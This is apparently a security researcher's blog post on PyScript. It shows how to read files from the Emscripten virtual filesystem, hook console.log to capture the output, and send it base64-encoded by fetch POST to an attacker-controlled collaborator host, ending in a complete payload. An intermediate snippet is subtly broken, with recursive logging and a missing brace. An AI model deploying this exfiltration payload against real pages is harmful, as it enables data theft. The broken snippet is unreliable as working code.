The art of vulnerability chaining (PyScript)
Introduction
For now, as we explained before we can retrieve files from the Emscripten virtual memory filesystem — which I mentioned in the PyScriptJS cheat sheets — and now I’m thinking why not try chaining vulnerabilities to raise the possible security impact, who knows maybe in the near future we can use the same techniques I will be discussing in this article in any vulnerabilities/attacks against this framework or relevant technologies. My blogs always concentrate more on the mindset development, then I’m writing this article here to be used in any coming vulnerabilities like our case here, then the attacker can escalate it into data exfiltration.
Planning phase
Before doing any research or developing new techniques, we should be aware of our objectives, in my research I planned and sorted my thoughts like this:
- What are the things we have in on hand now?
- The ability of including python library files from the Emscripten virtual memory.
- The ability of executing JavaScript codes through the PyScriptJS.
- What are the objectives we want to achieve?
- Exfiltrate the files contents to our server, then the output will be sent directly to the attacker’s server.
Define the Problems and Challenges
The first problem I faced was finding a method to allow me to harvest the content printed after reading python scripts from the virtual memory, then we can handle it using the JavaScript and exfiltrate it to our server. First, I tried some techniques like storing the output of the PyScript in an HTML Dev, code example:
<div id=”content”></div>
<py-script output=”content”>
… PythonCodeToGetThePythonScriptFromTheVirtualMemory() …
… print(“JavaScript code to Exfiltrate the output”)…
</py-script>
So, we’ll try controlling the content of the div which will contain the output of the python code, so, here the JavaScript is the first part of the HTML document will be executed, so, the rest of the document will not work until the JavaScript code executed. I tried a lot to make the JavaScript execute at the end of document loading, but couldn’t. So, our problem here is the document loading flow which makes JavaScript run first in the application.
Solution
I did some behavior analysis to see how the application interact, “Eng.Osama Elzero” always says that the Browser’s Console is your friend. So, I opened it up and ran the application to see what happens while the HTML document loads and I noticed the following:
So, as you can see the framework logs the progress of loading in the console, next step is to find how we can take this content over, why? because the output is also printed here, for example, if you just tried to read python script from the virtual memory, the output of that script will be stored in the console, so, if we wanna exfiltrate it to another evil host, we should take the control of the console first.
You cannot read the console content “after its already wrote”, but there is a smart way to do it, this technique is to bind the console to monitor to log every thing wrote down there, then push it into an array, for now if we will convert this techniques to a JavaScript code it will be like that:
console.pylog = console.log;
console.logs = [];
console.log = function(){ console.logs.push(Array.from(arguments));
console.log.apply(console, arguments)
This code simply will bind the console, and creates ‘logs’ property which stores empty array will be filled with the output will be pushed into it from the console.
Now, we want to exfiltrate the data stored in the array to another host, this is the easiest step here, we’ll use the fetch method to exfiltrate every index in the function to a remote host and will encode them in base64 encoding to handle them in a good way while transmitting through the HTTP request, and if we’ll translate this into JavaScript code it will be:
console.pylog = console.log;
console.logs = [];
console.log = function(){ console.logs.push(Array.from(arguments));
console.log.apply(console, arguments)
fetch(“http://burpcollaporator.net/", {
method: “POST”,
headers: {
“Content-Type”: “text/plain;charset=utf-8”
},
body: JSON.stringify({
“content”: btoa(console.logs)
})
});
}
Then, this code will take every item was in the array to exfiltrate it to the specified host by requesting it and sending the data in the POST request with base64 encoding, we did send them here in the POST request for two reasons:
If someone logs the network traffic, then I don’t want to make the traffic weird by sending a lot of data through the URL if we did that through GET request.
Sometimes the data after encoding turns to huge size, then, the POST request is the most appropriate method to do it with.
And finally it succeeded:
Then the final payload will be:
<py-script>
x = “CyberGuy”
if x == “CyberGuy”:
with open(‘/lib/python3.10/asyncio/tasks.py’) as output:
contents = output.read()
print(contents)
print(‘<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch(“http://YOURburpcollaborator.net/", {method: “POST”,headers: {“Content-Type”: “text/plain;charset=utf-8”},body: JSON.stringify({“content”: btoa(console.logs)})});}</script>’)
</py-script>
Conclusion
This article has been written for many purposes such as the mindset and the organizing ideas in problem solving, the mindset of chaining vulnerabilities / techniques and the great enjoyment while doing this etc etc, it also concentrated in some points, so, if you a security researcher and researched in this product and wanted to raise the impact of misconfiguration then you know how you can do it. I hope you all guys enjoyed this article.